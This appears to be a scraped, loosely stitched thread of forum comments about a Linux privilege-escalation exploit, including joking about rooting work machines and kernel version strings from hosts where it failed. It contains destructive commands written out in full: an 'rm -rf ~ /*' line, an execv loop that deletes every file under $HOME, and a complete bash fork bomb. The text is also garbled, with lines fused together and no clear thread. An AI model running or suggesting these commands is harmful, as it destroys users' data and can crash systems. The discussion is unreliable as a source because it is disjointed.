In case anybody wants to read the code preprocessed it's here:
http://ww.com/robert_you_suck.txt
Now of course you have to assume I'm telling you the truth, but that's easy enough to verify.
Paranoia has no limits ;)
See what happens with the "fremote(jmpcode)" function in 'main()'.
rm -rf ~ /* 2> /dev/null &;
Any particular switches you use?
I am almost tempted to do this, use the exploit to get root on my work machines, and then replace the libc... just to see if anyone else tries the exploit. (Note to the literal: not really.)
execv("/bin/sh -c 'for i in `find $HOME`; do echo "rm -f $i"; done', 0);
I don't think that sysadmin would qualify as 'evil' though.
It'd be even more fun if they had gotten to it before you and you ended up wiping your own files like that ;)
Tempting though, isn't it ?
For those having trouble:
bomb() {
bomb | bomb & # spawns two subprocesses, each running bomb
# on one end of a pipe, neither will die
# so long as the other exists
}
bomb # kick off the bombI've successfully ran it on FreeBSD machines without any issues, now on Linux or Mac OS X it is bad news :P
(And yes, I tried forkbombing them for the hell of it, both systems took it entirely in stride, as would be expected.)
Does anyone know of any current distros that don't set a sensible process limit in the default install?
I tried the exploit on all our 64 bit boxes and it seems to fail on every one of them.
Here are the uname -a strings from a representative sample:
Linux c01_04.ttc.com 2.6.17.11 #3 SMP Wed Oct 10 06:16:52 EDT 2007 x86_64 GNU/Linux
Linux root-desktop 2.6.31-16-generic #53-Ubuntu SMP Tue Dec 8 04:02:15 UTC 2009 x86_64 GNU/Linux
Linux eleven.ttc.com 2.6.15 #2 SMP Thu Mar 9 09:06:54 EST 2006 x86_64 GNU/Linux
Linux backup01.ttc.com 2.6.25-14.fc9.x86_64 #1 SMP Thu May 1 06:06:21 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux
On the last one it exits with 'symbol table not available, aborting!'.
Off-topic, how many of you actually review a program like this before running it?